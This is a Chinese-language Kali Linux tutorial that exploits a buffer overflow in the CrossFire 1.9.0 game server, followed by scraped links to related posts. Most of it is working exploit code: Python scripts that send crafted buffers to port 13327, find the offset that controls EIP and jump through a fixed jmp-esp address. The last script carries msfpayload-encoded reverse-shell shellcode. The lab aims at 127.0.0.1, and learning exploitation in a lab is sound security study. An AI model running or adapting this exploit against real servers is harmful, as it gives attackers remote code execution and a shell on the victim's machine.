kali linux之edb--CrossFire缓冲区溢出
漏洞的罪恶根源------变量,数据与代码边界不清,开发人员对用户输入没做过滤,或者过滤不严
如这个脚本,写什么,显示什么,但是加上;,|,&&,后面加上系统命令,就执行命令了
缓冲区溢出:
当边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被撑爆,从而覆盖了相邻内存区域的数据,成功修改i内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
如何发现漏洞?
源码审计(代码审计),逆向工程(动态调试),模糊测试------(向程序堆栈半随机的数据,根据内存变化判断溢出,数据生成器--生成随机,半随机数据,测试工具--识别溢出漏洞)
实例(没下载到CrossFire,而且我物理机也是2019版的kali,就借鉴一下这个老哥的:https://www.cnblogs.com/systemVITO/p/9246752.html)
CrossFire
多人在线RPG游戏
1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)
调试工具
edb
运行平台kali 2.0 x64虚拟机
Linux中内存保护机制
DEP
ASLR
堆栈 cookies
堆栈粉碎
创建/usr/games/目录,将crossfire1.9.0服务端解压到目录
运行./crossfire
开启调试
edb --run /usr/games/crossfire/bin/crossfire
右下角是paused暂停状态
菜单栏 Debug => Run(F9) 点击两回可以运行起来
可以通过命令查看程序端口信息
查看开放端口
netstat -pantu | grep 13327
EIP中存放的是下一条指令的地址
这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试
#! /usr/bin/python
import socket #导入模块
host = "127.0.0.1" #主机
crash = "\x41" * 4379 ##要发送的crash字符为 \x41为十六进制的大写A
buffer = "\x11(setup sound " + crash + "\x90\x00#" ##实际发送给服务器的数据 \x90是NULL,\x00是空字符
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #建立连接对象
print "[*]Sending evil buffer..."
s.connect((host,13327)) #和主机的13327建立连接
data = s.recv(1024)
print data
s.send(buffer) ##建立完成后发送buffer
s.close()
print "[*]Payload Sent!"
运行后,edb报错如下
意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。
这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控
为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串
cd /usr/share/metasploit-framework/tools/exploit/
复制下来,构造如下python脚本
#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = "唯一字符串"
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
开启edb启动程序,运行python程序
利用工具确认字符串的位置
cd /usr/share/metasploit-framework/tools/exploit/
就是说EIP地址前面有4368个字符。 4369,4370,4371,4372的位置存放的是溢出后的EIP地址
我们构造如下python脚本验证
#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + 'C'*7 ## 凑够4379个字符
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
可以看到EIP地址被精准的填充为B字符
右键ESP,选择 Follow In Dump 查看数据
因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode
几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode
思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。
既然ESP可以存放7个字符,想到了跳转EAX并偏移12
#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + '\x83\xc0\x0c\xff\xe0\x90\x90'
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
首先EIP地址仍然是精准的四个B
ESP => Follow In Dump 查看
83 c0 0c ff e0 90 90 说明这里也完美写入
思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转
打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch
选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的
菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。
然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20
生成shellcode并过滤坏字符
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类
./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"
构建python脚本
import socket
host = "127.0.0.1"
shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03")
crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
监听本地的4444端口,即可获取一个shell
友情链接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn
kali linux之edb--CrossFire缓冲区溢出的更多相关文章
- Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...
- Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...
- Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-154 发布时间: 2013-11-13 更新时间: 201 ...
- Linux下简单的缓冲区溢出
缓冲区溢出是什么? 科班出身,或者学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据 成功修改内存数据,可造成进程劫持 ...
- Kali学习笔记22:缓冲区溢出漏洞利用实验
实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...
- Kali学习笔记21:缓冲区溢出实验(漏洞发现)
上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...
- Kali学习笔记20:缓冲区溢出实验环境准备
在前几篇的博客中:我介绍了OpenVAS和Nessus这两个强大的自动化漏洞扫描器 但是,在计算机领域中有种叫做0day漏洞:没有公开只掌握在某些人手中 那么,这些0day漏洞是如何被发现的呢? 接下 ...
- 小白日记18:kali渗透测试之缓冲区溢出实例(二)--Linux,穿越火线1.9.0
Linux系统下穿越火线-缓冲区溢出 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞. 工具: 调试工具:edb: ###python在漏洞溢出方面的渗透测 ...
- kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail
kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...
- Linux系统缓冲区溢出
Linux系统下穿越火线-缓冲区溢出 原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞. 工具: 调试工具:edb: ###python在漏洞溢出方面的渗透测 ...
随机推荐
- Patator-一款很好用的爆破工具
项目地址:https://github.com/lanjelot/patator 打开文件夹 运行一下文件查看帮助 python patator.py --help 这里有很多的爆破选项,就不一一截图 ...
- kettle init
- js 正则匹配 小结
JS的正则表达式 rge.test(str) 检验目标对象中是否包含匹配模式,并相应的返回true或false rge.source str.search(rge) 将返回一个整数值,指明这个匹配 ...
- 使用CallableStatement接口调用存储过程
直接上下代码: package com.learn.jdbc.chap07; import java.sql.CallableStatement; import java.sql.Connection ...
- jQuery.prop() 与attr()
1.attr()是jQuery 1.0版本就有的函数,prop()是jQuery 1.6版本新增的函数.毫无疑问,在1.6之前,你只能使用attr()函数:1.6及以后版本,你可以根据实际需要选择对应 ...
- JBPM具体应用之decision节点的使用
JBPM工作流引擎为我们提供了许多的节点应用,每一个节点都有其不同的作用,其中有四个比较常用的节点,他们分别decision,fork,state和task.在本文中我们先介绍decision节点,余 ...
- sql数据库各个版本清除日志
SQL2005清空删除日志: 复制代码 代码如下: Backup Log DNName with no_log --'这里的DNName是你要收缩的数据库名,自己注意修改下面的数据 ...
- document.ready与window.load区别
jQuery document window load ready 区别详解 用过JavaScript的童鞋,应该知道window对象和document对象,也应该听说过load事件和ready事件, ...
- Project2--Lucene的Ranking算法修改:BM25算法
原文出自:http://blog.csdn.net/wbia2010lkl/article/details/6046661 1. BM25算法 BM25是二元独立模型的扩展,其得分函数有很 ...
- 算法优化》关于1D*1D的DP的优化
关于这一主题的DP问题的优化方法,我以前写过一篇博客与其有关,是关于对递推形DP的前缀和优化,那么这种优化方法就不再赘述了. 什么叫1D*1D的DP捏,就是一共有N种状态,而每种状态都要N种决策,这就 ...